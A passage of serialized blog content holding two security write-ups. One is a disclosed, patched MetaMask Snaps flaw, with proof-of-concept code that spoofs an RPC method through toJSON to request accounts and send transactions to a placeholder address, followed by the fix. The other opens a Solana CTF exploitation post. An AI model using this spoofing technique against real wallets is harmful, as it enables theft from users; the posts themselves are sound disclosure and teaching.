}\n};\n",[38010],{"type":23,"tag":38,"props":38011,"children":38012},{"__ignoreMap":7},[38013,38046,38053,38060,38077,38106,38113,38138,38145,38177,38188,38205,38218,38225,38232,38239,38271,38278,38285,38292,38308,38335,38342,38365,38372,38403,38414,38430,38442,38463,38478,38495,38503,38510,38517,38524,38555,38562,38569,38629,38636,38664,38681,38696,38712,38727,38739,38769,38776],{"type":23,"tag":141,"props":38014,"children":38015},{"class":143,"line":144},[38016,38020,38024,38029,38033,38037,38042],{"type":23,"tag":141,"props":38017,"children":38018},{"style":148},[38019],{"type":29,"value":18155},{"type":23,"tag":141,"props":38021,"children":38022},{"style":154},[38023],{"type":29,"value":8264},{"type":23,"tag":141,"props":38025,"children":38026},{"style":750},[38027],{"type":29,"value":38028},"OnRpcRequestHandler",{"type":23,"tag":141,"props":38030,"children":38031},{"style":154},[38032],{"type":29,"value":34673},{"type":23,"tag":141,"props":38034,"children":38035},{"style":148},[38036],{"type":29,"value":18145},{"type":23,"tag":141,"props":38038,"children":38039},{"style":828},[38040],{"type":29,"value":38041}," '@metamask/snaps-types'",{"type":23,"tag":141,"props":38043,"children":38044},{"style":154},[38045],{"type":29,"value":1684},{"type":23,"tag":141,"props":38047,"children":38048},{"class":143,"line":180},[38049],{"type":23,"tag":141,"props":38050,"children":38051},{"emptyLinePlaceholder":15},[38052],{"type":29,"value":719},{"type":23,"tag":141,"props":38054,"children":38055},{"class":143,"line":205},[38056],{"type":23,"tag":141,"props":38057,"children":38058},{"emptyLinePlaceholder":15},[38059],{"type":29,"value":719},{"type":23,"tag":141,"props":38061,"children":38062},{"class":143,"line":218},[38063,38067,38072],{"type":23,"tag":141,"props":38064,"children":38065},{"style":449},[38066],{"type":29,"value":29845},{"type":23,"tag":141,"props":38068,"children":38069},{"style":184},[38070],{"type":29,"value":38071}," jsonExploit",{"type":23,"tag":141,"props":38073,"children":38074},{"style":154},[38075],{"type":29,"value":38076},"(){\n",{"type":23,"tag":141,"props":38078,"children":38079},{"class":143,"line":227},[38080,38084,38088,38092,38097,38101],{"type":23,"tag":141,"props":38081,"children":38082},{"style":449},[38083],{"type":29,"value":6530},{"type":23,"tag":141,"props":38085,"children":38086},{"style":750},[38087],{"type":29,"value":17736},{"type":23,"tag":141,"props":38089,"children":38090},{"style":160},[38091],{"type":29,"value":1674},{"type":23,"tag":141,"props":38093,"children":38094},{"style":154},[38095],{"type":29,"value":38096}," [] ",{"type":23,"tag":141,"props":38098,"children":38099},{"style":148},[38100],{"type":29,"value":7518},{"type":23,"tag":141,"props":38102,"children":38103},{"style":725},[38104],{"type":29,"value":38105}," any\n",{"type":23,"tag":141,"props":38107,"children":38108},{"class":143,"line":241},[38109],{"type":23,"tag":141,"props":38110,"children":38111},{"emptyLinePlaceholder":15},[38112],{"type":29,"value":719},{"type":23,"tag":141,"props":38114,"children":38115},{"class":143,"line":262},[38116,38121,38125,38129,38133],{"type":23,"tag":141,"props":38117,"children":38118},{"style":750},[38119],{"type":29,"value":38120}," x",{"type":23,"tag":141,"props":38122,"children":38123},{"style":154},[38124],{"type":29,"value":322},{"type":23,"tag":141,"props":38126,"children":38127},{"style":750},[38128],{"type":29,"value":36784},{"type":23,"tag":141,"props":38130,"children":38131},{"style":160},[38132],{"type":29,"value":1674},{"type":23,"tag":141,"props":38134,"children":38135},{"style":828},[38136],{"type":29,"value":38137}," \"snap_dialog\"\n",{"type":23,"tag":141,"props":38139,"children":38140},{"class":143,"line":271},[38141],{"type":23,"tag":141,"props":38142,"children":38143},{"emptyLinePlaceholder":15},[38144],{"type":29,"value":719},{"type":23,"tag":141,"props":38146,"children":38147},{"class":143,"line":293},[38148,38152,38156,38160,38164,38169,38173],{"type":23,"tag":141,"props":38149,"children":38150},{"style":750},[38151],{"type":29,"value":38120},{"type":23,"tag":141,"props":38153,"children":38154},{"style":154},[38155],{"type":29,"value":322},{"type":23,"tag":141,"props":38157,"children":38158},{"style":184},[38159],{"type":29,"value":37884},{"type":23,"tag":141,"props":38161,"children":38162},{"style":160},[38163],{"type":29,"value":1674},{"type":23,"tag":141,"props":38165,"children":38166},{"style":154},[38167],{"type":29,"value":38168}," () ",{"type":23,"tag":141,"props":38170,"children":38171},{"style":449},[38172],{"type":29,"value":13498},{"type":23,"tag":141,"props":38174,"children":38175},{"style":154},[38176],{"type":29,"value":1951},{"type":23,"tag":141,"props":38178,"children":38179},{"class":143,"line":801},[38180,38184],{"type":23,"tag":141,"props":38181,"children":38182},{"style":148},[38183],{"type":29,"value":15665},{"type":23,"tag":141,"props":38185,"children":38186},{"style":154},[38187],{"type":29,"value":1951},{"type":23,"tag":141,"props":38189,"children":38190},{"class":143,"line":810},[38191,38196,38201],{"type":23,"tag":141,"props":38192,"children":38193},{"style":750},[38194],{"type":29,"value":38195}," method:",{"type":23,"tag":141,"props":38197,"children":38198},{"style":828},[38199],{"type":29,"value":38200}," \"eth_requestAccounts\"",{"type":23,"tag":141,"props":38202,"children":38203},{"style":154},[38204],{"type":29,"value":2168},{"type":23,"tag":141,"props":38206,"children":38207},{"class":143,"line":824},[38208,38213],{"type":23,"tag":141,"props":38209,"children":38210},{"style":750},[38211],{"type":29,"value":38212}," params:",{"type":23,"tag":141,"props":38214,"children":38215},{"style":154},[38216],{"type":29,"value":38217}," []\n",{"type":23,"tag":141,"props":38219,"children":38220},{"class":143,"line":839},[38221],{"type":23,"tag":141,"props":38222,"children":38223},{"style":154},[38224],{"type":29,"value":299},{"type":23,"tag":141,"props":38226,"children":38227},{"class":143,"line":848},[38228],{"type":23,"tag":141,"props":38229,"children":38230},{"style":154},[38231],{"type":29,"value":854},{"type":23,"tag":141,"props":38233,"children":38234},{"class":143,"line":2304},[38235],{"type":23,"tag":141,"props":38236,"children":38237},{"emptyLinePlaceholder":15},[38238],{"type":29,"value":719},{"type":23,"tag":141,"props":38240,"children":38241},{"class":143,"line":2313},[38242,38246,38251,38255,38259,38263,38267],{"type":23,"tag":141,"props":38243,"children":38244},{"style":148},[38245],{"type":29,"value":37670},{"type":23,"tag":141,"props":38247,"children":38248},{"style":750},[38249],{"type":29,"value":38250}," snap",{"type":23,"tag":141,"props":38252,"children":38253},{"style":154},[38254],{"type":29,"value":322},{"type":23,"tag":141,"props":38256,"children":38257},{"style":184},[38258],{"type":29,"value":29961},{"type":23,"tag":141,"props":38260,"children":38261},{"style":154},[38262],{"type":29,"value":192},{"type":23,"tag":141,"props":38264,"children":38265},{"style":750},[38266],{"type":29,"value":17947},{"type":23,"tag":141,"props":38268,"children":38269},{"style":154},[38270],{"type":29,"value":758},{"type":23,"tag":141,"props":38272,"children":38273},{"class":143,"line":2335},[38274],{"type":23,"tag":141,"props":38275,"children":38276},{"emptyLinePlaceholder":15},[38277],{"type":29,"value":719},{"type":23,"tag":141,"props":38279,"children":38280},{"class":143,"line":2343},[38281],{"type":23,"tag":141,"props":38282,"children":38283},{"style":154},[38284],{"type":29,"value":2573},{"type":23,"tag":141,"props":38286,"children":38287},{"class":143,"line":2352},[38288],{"type":23,"tag":141,"props":38289,"children":38290},{"emptyLinePlaceholder":15},[38291],{"type":29,"value":719},{"type":23,"tag":141,"props":38293,"children":38294},{"class":143,"line":2421},[38295,38299,38304],{"type":23,"tag":141,"props":38296,"children":38297},{"style":449},[38298],{"type":29,"value":29845},{"type":23,"tag":141,"props":38300,"children":38301},{"style":184},[38302],{"type":29,"value":38303}," transactionExploit",{"type":23,"tag":141,"props":38305,"children":38306},{"style":154},[38307],{"type":29,"value":38076},{"type":23,"tag":141,"props":38309,"children":38310},{"class":143,"line":2429},[38311,38315,38319,38323,38327,38331],{"type":23,"tag":141,"props":38312,"children":38313},{"style":449},[38314],{"type":29,"value":6530},{"type":23,"tag":141,"props":38316,"children":38317},{"style":750},[38318],{"type":29,"value":17736},{"type":23,"tag":141,"props":38320,"children":38321},{"style":160},[38322],{"type":29,"value":1674},{"type":23,"tag":141,"props":38324,"children":38325},{"style":154},[38326],{"type":29,"value":38096},{"type":23,"tag":141,"props":38328,"children":38329},{"style":148},[38330],{"type":29,"value":7518},{"type":23,"tag":141,"props":38332,"children":38333},{"style":725},[38334],{"type":29,"value":38105},{"type":23,"tag":141,"props":38336,"children":38337},{"class":143,"line":2459},[38338],{"type":23,"tag":141,"props":38339,"children":38340},{"emptyLinePlaceholder":15},[38341],{"type":29,"value":719},{"type":23,"tag":141,"props":38343,"children":38344},{"class":143,"line":2467},[38345,38349,38353,38357,38361],{"type":23,"tag":141,"props":38346,"children":38347},{"style":750},[38348],{"type":29,"value":38120},{"type":23,"tag":141,"props":38350,"children":38351},{"style":154},[38352],{"type":29,"value":322},{"type":23,"tag":141,"props":38354,"children":38355},{"style":750},[38356],{"type":29,"value":36784},{"type":23,"tag":141,"props":38358,"children":38359},{"style":160},[38360],{"type":29,"value":1674},{"type":23,"tag":141,"props":38362,"children":38363},{"style":828},[38364],{"type":29,"value":38137},{"type":23,"tag":141,"props":38366,"children":38367},{"class":143,"line":2499},[38368],{"type":23,"tag":141,"props":38369,"children":38370},{"emptyLinePlaceholder":15},[38371],{"type":29,"value":719},{"type":23,"tag":141,"props":38373,"children":38374},{"class":143,"line":2507},[38375,38379,38383,38387,38391,38395,38399],{"type":23,"tag":141,"props":38376,"children":38377},{"style":750},[38378],{"type":29,"value":38120},{"type":23,"tag":141,"props":38380,"children":38381},{"style":154},[38382],{"type":29,"value":322},{"type":23,"tag":141,"props":38384,"children":38385},{"style":184},[38386],{"type":29,"value":37884},{"type":23,"tag":141,"props":38388,"children":38389},{"style":160},[38390],{"type":29,"value":1674},{"type":23,"tag":141,"props":38392,"children":38393},{"style":154},[38394],{"type":29,"value":38168},{"type":23,"tag":141,"props":38396,"children":38397},{"style":449},[38398],{"type":29,"value":13498},{"type":23,"tag":141,"props":38400,"children":38401},{"style":154},[38402],{"type":29,"value":1951},{"type":23,"tag":141,"props":38404,"children":38405},{"class":143,"line":2567},[38406,38410],{"type":23,"tag":141,"props":38407,"children":38408},{"style":148},[38409],{"type":29,"value":15665},{"type":23,"tag":141,"props":38411,"children":38412},{"style":154},[38413],{"type":29,"value":1951},{"type":23,"tag":141,"props":38415,"children":38416},{"class":143,"line":7724},[38417,38421,38426],{"type":23,"tag":141,"props":38418,"children":38419},{"style":750},[38420],{"type":29,"value":38195},{"type":23,"tag":141,"props":38422,"children":38423},{"style":828},[38424],{"type":29,"value":38425}," \"eth_sendTransaction\"",{"type":23,"tag":141,"props":38427,"children":38428},{"style":154},[38429],{"type":29,"value":2168},{"type":23,"tag":141,"props":38431,"children":38432},{"class":143,"line":7742},[38433,38437],{"type":23,"tag":141,"props":38434,"children":38435},{"style":750},[38436],{"type":29,"value":38212},{"type":23,"tag":141,"props":38438,"children":38439},{"style":154},[38440],{"type":29,"value":38441}," [{\n",{"type":23,"tag":141,"props":38443,"children":38444},{"class":143,"line":7787},[38445,38449,38454,38458],{"type":23,"tag":141,"props":38446,"children":38447},{"style":750},[38448],{"type":29,"value":30533},{"type":23,"tag":141,"props":38450,"children":38451},{"style":828},[38452],{"type":29,"value":38453}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":141,"props":38455,"children":38456},{"style":154},[38457],{"type":29,"value":480},{"type":23,"tag":141,"props":38459,"children":38460},{"style":443},[38461],{"type":29,"value":38462},"// change this to your address\n",{"type":23,"tag":141,"props":38464,"children":38465},{"class":143,"line":7893},[38466,38470,38474],{"type":23,"tag":141,"props":38467,"children":38468},{"style":750},[38469],{"type":29,"value":30549},{"type":23,"tag":141,"props":38471,"children":38472},{"style":828},[38473],{"type":29,"value":38453},{"type":23,"tag":141,"props":38475,"children":38476},{"style":154},[38477],{"type":29,"value":2168},{"type":23,"tag":141,"props":38479,"children":38480},{"class":143,"line":22181},[38481,38486,38491],{"type":23,"tag":141,"props":38482,"children":38483},{"style":750},[38484],{"type":29,"value":38485}," value:",{"type":23,"tag":141,"props":38487,"children":38488},{"style":828},[38489],{"type":29,"value":38490}," \"0x1\"",{"type":23,"tag":141,"props":38492,"children":38493},{"style":154},[38494],{"type":29,"value":2168},{"type":23,"tag":141,"props":38496,"children":38497},{"class":143,"line":22216},[38498],{"type":23,"tag":141,"props":38499,"children":38500},{"style":154},[38501],{"type":29,"value":38502}," }]\n",{"type":23,"tag":141,"props":38504,"children":38505},{"class":143,"line":22224},[38506],{"type":23,"tag":141,"props":38507,"children":38508},{"style":154},[38509],{"type":29,"value":299},{"type":23,"tag":141,"props":38511,"children":38512},{"class":143,"line":22232},[38513],{"type":23,"tag":141,"props":38514,"children":38515},{"style":154},[38516],{"type":29,"value":854},{"type":23,"tag":141,"props":38518,"children":38519},{"class":143,"line":22241},[38520],{"type":23,"tag":141,"props":38521,"children":38522},{"emptyLinePlaceholder":15},[38523],{"type":29,"value":719},{"type":23,"tag":141,"props":38525,"children":38526},{"class":143,"line":22283},[38527,38531,38535,38539,38543,38547,38551],{"type":23,"tag":141,"props":38528,"children":38529},{"style":148},[38530],{"type":29,"value":37670},{"type":23,"tag":141,"props":38532,"children":38533},{"style":750},[38534],{"type":29,"value":38250},{"type":23,"tag":141,"props":38536,"children":38537},{"style":154},[38538],{"type":29,"value":322},{"type":23,"tag":141,"props":38540,"children":38541},{"style":184},[38542],{"type":29,"value":29961},{"type":23,"tag":141,"props":38544,"children":38545},{"style":154},[38546],{"type":29,"value":192},{"type":23,"tag":141,"props":38548,"children":38549},{"style":750},[38550],{"type":29,"value":17947},{"type":23,"tag":141,"props":38552,"children":38553},{"style":154},[38554],{"type":29,"value":2496},{"type":23,"tag":141,"props":38556,"children":38557},{"class":143,"line":22316},[38558],{"type":23,"tag":141,"props":38559,"children":38560},{"style":154},[38561],{"type":29,"value":2573},{"type":23,"tag":141,"props":38563,"children":38564},{"class":143,"line":22324},[38565],{"type":23,"tag":141,"props":38566,"children":38567},{"emptyLinePlaceholder":15},[38568],{"type":29,"value":719},{"type":23,"tag":141,"props":38570,"children":38571},{"class":143,"line":22332},[38572,38576,38580,38585,38589,38594,38598,38603,38608,38612,38616,38621,38625],{"type":23,"tag":141,"props":38573,"children":38574},{"style":148},[38575],{"type":29,"value":36680},{"type":23,"tag":141,"props":38577,"children":38578},{"style":449},[38579],{"type":29,"value":37582},{"type":23,"tag":141,"props":38581,"children":38582},{"style":184},[38583],{"type":29,"value":38584}," onRpcRequest",{"type":23,"tag":141,"props":38586,"children":38587},{"style":160},[38588],{"type":29,"value":114},{"type":23,"tag":141,"props":38590,"children":38591},{"style":725},[38592],{"type":29,"value":38593}," OnRpcRequestHandler",{"type":23,"tag":141,"props":38595,"children":38596},{"style":160},[38597],{"type":29,"value":1674},{"type":23,"tag":141,"props":38599,"children":38600},{"style":154},[38601],{"type":29,"value":38602}," ({ ",{"type":23,"tag":141,"props":38604,"children":38605},{"style":750},[38606],{"type":29,"value":38607},"origin",{"type":23,"tag":141,"props":38609,"children":38610},{"style":154},[38611],{"type":29,"value":480},{"type":23,"tag":141,"props":38613,"children":38614},{"style":750},[38615],{"type":29,"value":29961},{"type":23,"tag":141,"props":38617,"children":38618},{"style":154},[38619],{"type":29,"value":38620}," }) ",{"type":23,"tag":141,"props":38622,"children":38623},{"style":449},[38624],{"type":29,"value":13498},{"type":23,"tag":141,"props":38626,"children":38627},{"style":154},[38628],{"type":29,"value":1951},{"type":23,"tag":141,"props":38630,"children":38631},{"class":143,"line":22341},[38632],{"type":23,"tag":141,"props":38633,"children":38634},{"emptyLinePlaceholder":15},[38635],{"type":29,"value":719},{"type":23,"tag":141,"props":38637,"children":38638},{"class":143,"line":22417},[38639,38644,38648,38652,38656,38660],{"type":23,"tag":141,"props":38640,"children":38641},{"style":148},[38642],{"type":29,"value":38643}," switch",{"type":23,"tag":141,"props":38645,"children":38646},{"style":154},[38647],{"type":29,"value":1220},{"type":23,"tag":141,"props":38649,"children":38650},{"style":750},[38651],{"type":29,"value":29961},{"type":23,"tag":141,"props":38653,"children":38654},{"style":154},[38655],{"type":29,"value":322},{"type":23,"tag":141,"props":38657,"children":38658},{"style":750},[38659],{"type":29,"value":36784},{"type":23,"tag":141,"props":38661,"children":38662},{"style":154},[38663],{"type":29,"value":13480},{"type":23,"tag":141,"props":38665,"children":38666},{"class":143,"line":22450},[38667,38672,38677],{"type":23,"tag":141,"props":38668,"children":38669},{"style":148},[38670],{"type":29,"value":38671}," case",{"type":23,"tag":141,"props":38673,"children":38674},{"style":828},[38675],{"type":29,"value":38676}," 'json'",{"type":23,"tag":141,"props":38678,"children":38679},{"style":154},[38680],{"type":29,"value":4242},{"type":23,"tag":141,"props":38682,"children":38683},{"class":143,"line":22458},[38684,38688,38692],{"type":23,"tag":141,"props":38685,"children":38686},{"style":148},[38687],{"type":29,"value":37828},{"type":23,"tag":141,"props":38689,"children":38690},{"style":184},[38691],{"type":29,"value":38071},{"type":23,"tag":141,"props":38693,"children":38694},{"style":154},[38695],{"type":29,"value":1305},{"type":23,"tag":141,"props":38697,"children":38698},{"class":143,"line":22466},[38699,38703,38708],{"type":23,"tag":141,"props":38700,"children":38701},{"style":148},[38702],{"type":29,"value":38671},{"type":23,"tag":141,"props":38704,"children":38705},{"style":828},[38706],{"type":29,"value":38707}," 'transaction'",{"type":23,"tag":141,"props":38709,"children":38710},{"style":154},[38711],{"type":29,"value":4242},{"type":23,"tag":141,"props":38713,"children":38714},{"class":143,"line":22503},[38715,38719,38723],{"type":23,"tag":141,"props":38716,"children":38717},{"style":148},[38718],{"type":29,"value":37828},{"type":23,"tag":141,"props":38720,"children":38721},{"style":184},[38722],{"type":29,"value":38303},{"type":23,"tag":141,"props":38724,"children":38725},{"style":154},[38726],{"type":29,"value":1305},{"type":23,"tag":141,"props":38728,"children":38729},{"class":143,"line":22516},[38730,38735],{"type":23,"tag":141,"props":38731,"children":38732},{"style":148},[38733],{"type":29,"value":38734}," default",{"type":23,"tag":141,"props":38736,"children":38737},{"style":154},[38738],{"type":29,"value":4242},{"type":23,"tag":141,"props":38740,"children":38741},{"class":143,"line":22529},[38742,38747,38751,38756,38760,38765],{"type":23,"tag":141,"props":38743,"children":38744},{"style":148},[38745],{"type":29,"value":38746}," throw",{"type":23,"tag":141,"props":38748,"children":38749},{"style":449},[38750],{"type":29,"value":30401},{"type":23,"tag":141,"props":38752,"children":38753},{"style":184},[38754],{"type":29,"value":38755}," Error",{"type":23,"tag":141,"props":38757,"children":38758},{"style":154},[38759],{"type":29,"value":192},{"type":23,"tag":141,"props":38761,"children":38762},{"style":828},[38763],{"type":29,"value":38764},"'Method not found.'",{"type":23,"tag":141,"props":38766,"children":38767},{"style":154},[38768],{"type":29,"value":2496},{"type":23,"tag":141,"props":38770,"children":38771},{"class":143,"line":22542},[38772],{"type":23,"tag":141,"props":38773,"children":38774},{"style":154},[38775],{"type":29,"value":854},{"type":23,"tag":141,"props":38777,"children":38778},{"class":143,"line":22596},[38779],{"type":23,"tag":141,"props":38780,"children":38781},{"style":154},[38782],{"type":29,"value":1357},{"type":23,"tag":32,"props":38784,"children":38785},{},[38786,38788,38794,38796,38801],{"type":29,"value":38787},"We set ",{"type":23,"tag":38,"props":38789,"children":38791},{"className":38790},[],[38792],{"type":29,"value":38793},"x.method = \"snap_dialog\"",{"type":29,"value":38795}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":38,"props":38797,"children":38799},{"className":38798},[],[38800],{"type":29,"value":38003},{"type":29,"value":38802}," after.",{"type":23,"tag":8287,"props":38804,"children":38806},{"id":38805},"mitigation",[38807],{"type":29,"value":38808},"Mitigation",{"type":23,"tag":32,"props":38810,"children":38811},{},[38812,38814,38819,38821,38828],{"type":29,"value":38813},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":38,"props":38815,"children":38817},{"className":38816},[],[38818],{"type":29,"value":37547},{"type":29,"value":38820}," function execution. The patch was introduced on commit ",{"type":23,"tag":55,"props":38822,"children":38825},{"href":38823,"rel":38824},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[59],[38826],{"type":29,"value":38827},"168ff08",{"type":29,"value":38829}," with the following changes:",{"type":23,"tag":131,"props":38831,"children":38835},{"className":38832,"code":38833,"language":38834,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[38836],{"type":23,"tag":38,"props":38837,"children":38838},{"__ignoreMap":7},[38839,38847,38855,38863,38871],{"type":23,"tag":141,"props":38840,"children":38841},{"class":143,"line":144},[38842],{"type":23,"tag":141,"props":38843,"children":38844},{"style":154},[38845],{"type":29,"value":38846},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":141,"props":38848,"children":38849},{"class":143,"line":180},[38850],{"type":23,"tag":141,"props":38851,"children":38852},{"style":828},[38853],{"type":29,"value":38854},"- assertEthereumOutboundRequest(args);\n",{"type":23,"tag":141,"props":38856,"children":38857},{"class":143,"line":205},[38858],{"type":23,"tag":141,"props":38859,"children":38860},{"style":828},[38861],{"type":29,"value":38862},"- const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":141,"props":38864,"children":38865},{"class":143,"line":218},[38866],{"type":23,"tag":141,"props":38867,"children":38868},{"style":472},[38869],{"type":29,"value":38870},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":141,"props":38872,"children":38873},{"class":143,"line":227},[38874],{"type":23,"tag":141,"props":38875,"children":38876},{"style":472},[38877],{"type":29,"value":38878},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":24,"props":38880,"children":38881},{"id":27618},[38882],{"type":29,"value":17618},{"type":23,"tag":32,"props":38884,"children":38885},{},[38886],{"type":29,"value":38887},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":32,"props":38889,"children":38890},{},[38891],{"type":29,"value":38892},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":1508,"props":38894,"children":38895},{},[38896],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":38898},[38899,38900,38907,38915],{"id":17627,"depth":180,"text":17630},{"id":33923,"depth":180,"text":33926,"children":38901},[38902,38903,38904,38905,38906],{"id":33934,"depth":205,"text":33937},{"id":34002,"depth":205,"text":34005},{"id":34038,"depth":205,"text":34041},{"id":35434,"depth":205,"text":35437},{"id":35792,"depth":205,"text":35795},{"id":36579,"depth":180,"text":36582,"children":38908},[38909,38910,38911,38912,38913,38914],{"id":36585,"depth":205,"text":36588},{"id":36629,"depth":205,"text":36632},{"id":37533,"depth":205,"text":37536},{"id":4336,"depth":205,"text":4339},{"id":37976,"depth":205,"text":33299},{"id":38805,"depth":205,"text":38808},{"id":27618,"depth":180,"text":17618},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":38920,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38921,"description":38922,"author":38923,"image":38925,"date":38927,"isFeatured":15,"onBlogPage":15,"body":38928,"_type":1522,"_id":44348,"_source":1524,"_file":44349,"_stem":44350,"_extension":1527},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[38924,10],"nicola",{"src":38926},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":38929,"toc":44337},[38930,38944,38964,38969,38973,38986,39011,39017,39022,39037,39391,39406,39671,39687,40330,40336,40341,40354,40362,40574,40582,40885,40893,41036,41044,41569,41575,41587,41600,41614,41619,42387,42392,42400,42405,42411,42423,42488,42493,42506,42519,42525,42553,43704,43717,43759,43764,43769,43783,43923,43944,43965,43972,44023,44031,44042,44055,44060,44184,44197,44299,44303,44316,44321,44333],{"type":23,"tag":32,"props":38931,"children":38932},{},[38933,38935,38942],{"type":29,"value":38934},"In the world of CTFs, ",{"type":23,"tag":55,"props":38936,"children":38939},{"href":38937,"rel":38938},"https://twitter.com/paradigm_ctf",[59],[38940],{"type":29,"value":38941},"Paradigm CTF 2023",{"type":29,"value":38943}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":32,"props":38945,"children":38946},{},[38947,38949,38956,38957],{"type":29,"value":38948},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":55,"props":38950,"children":38953},{"href":38951,"rel":38952},"https://osec.io/blog/2022-03-14-solana-security-intro",[59],[38954],{"type":29,"value":38955},"Solana: An Auditor's Introduction",{"type":29,"value":313},{"type":23,"tag":55,"props":38958,"children":38961},{"href":38959,"rel":38960},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[59],[38962],{"type":29,"value":38963},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":32,"props":38965,"children":38966},{},[38967],{"type":29,"value":38968},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":24,"props":38970,"children":38971},{"id":17627},[38972],{"type":29,"value":17630},{"type":23,"tag":32,"props":38974,"children":38975},{},[38976,38978,38984],{"type":29,"value":38977},"The challenge itself resides into ",{"type":23,"tag":38,"props":38979,"children":38981},{"className":38980},[],[38982],{"type":29,"value":38983},"framework/",{"type":29,"value":38985},", and is composed of 2 parts:",{"type":23,"tag":15362,"props":38987,"children":38988},{},[38989,39000],{"type":23,"tag":120,"props":38990,"children":38991},{},[38992,38998],{"type":23,"tag":38,"props":38993,"children":38995},{"className":38994},[],[38996],{"type":29,"value":38997},"framework/chall/lib.rs",{"type":29,"value":38999},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":120,"props":39001,"children":39002},{},[39003,39009],{"type":23,"tag":38,"props":39004,"children":39006},{"className":39005},[],[39007],{"type":29,"value":39008},"framework/src/main.rs",{"type":29,"value":39010},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":8287,"props":39012,"children":39014},{"id":39013},"vulnerable-program",[39015],{"type":29,"value":39016},"Vulnerable Program",{"type":23,"tag":32,"props":39018,"children":39019},{},[39020],{"type":29,"value":39021},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":116,"props":39023,"children":39024},{},[39025],{"type":23,"tag":120,"props":39026,"children":39027},{},[39028,39029,39035],{"type":29,"value":6154},{"type":23,"tag":38,"props":39030,"children":39032},{"className":39031},[],[39033],{"type":29,"value":39034},"data[0] == 0",{"type":29,"value":39036}," a function that lets you write-what-where is executed",{"type":23,"tag":131,"props":39038,"children":39040},{"className":1639,"code":39039,"language":1638,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[39041],{"type":23,"tag":38,"props":39042,"children":39043},{"__ignoreMap":7},[39044,39052,39097,39108,39231,39348,39377,39384],{"type":23,"tag":141,"props":39045,"children":39046},{"class":143,"line":144},[39047],{"type":23,"tag":141,"props":39048,"children":39049},{"style":154},[39050],{"type":29,"value":39051},"#[inline(never)]\n",{"type":23,"tag":141,"props":39053,"children":39054},{"class":143,"line":180},[39055,39059,39063,39068,39072,39076,39080,39084,39088,39092],{"type":23,"tag":141,"props":39056,"children":39057},{"style":449},[39058],{"type":29,"value":12368},{"type":23,"tag":141,"props":39060,"children":39061},{"style":449},[39062],{"type":29,"value":12373},{"type":23,"tag":141,"props":39064,"children":39065},{"style":184},[39066],{"type":29,"value":39067}," write",{"type":23,"tag":141,"props":39069,"children":39070},{"style":154},[39071],{"type":29,"value":192},{"type":23,"tag":141,"props":39073,"children":39074},{"style":750},[39075],{"type":29,"value":2367},{"type":23,"tag":141,"props":39077,"children":39078},{"style":160},[39079],{"type":29,"value":114},{"type":23,"tag":141,"props":39081,"children":39082},{"style":160},[39083],{"type":29,"value":5815},{"type":23,"tag":141,"props":39085,"children":39086},{"style":154},[39087],{"type":29,"value":2399},{"type":23,"tag":141,"props":39089,"children":39090},{"style":725},[39091],{"type":29,"value":2081},{"type":23,"tag":141,"props":39093,"children":39094},{"style":154},[39095],{"type":29,"value":39096},"]) {\n",{"type":23,"tag":141,"props":39098,"children":39099},{"class":143,"line":205},[39100,39104],{"type":23,"tag":141,"props":39101,"children":39102},{"style":449},[39103],{"type":29,"value":12511},{"type":23,"tag":141,"props":39105,"children":39106},{"style":154},[39107],{"type":29,"value":1951},{"type":23,"tag":141,"props":39109,"children":39110},{"class":143,"line":218},[39111,39115,39119,39123,39128,39132,39137,39141,39146,39150,39155,39159,39163,39167,39171,39175,39179,39183,39187,39191,39195,39199,39203,39207,39211,39215,39219,39223,39227],{"type":23,"tag":141,"props":39112,"children":39113},{"style":449},[39114],{"type":29,"value":1725},{"type":23,"tag":141,"props":39116,"children":39117},{"style":750},[39118],{"type":29,"value":12535},{"type":23,"tag":141,"props":39120,"children":39121},{"style":160},[39122],{"type":29,"value":1674},{"type":23,"tag":141,"props":39124,"children":39125},{"style":154},[39126],{"type":29,"value":39127}," 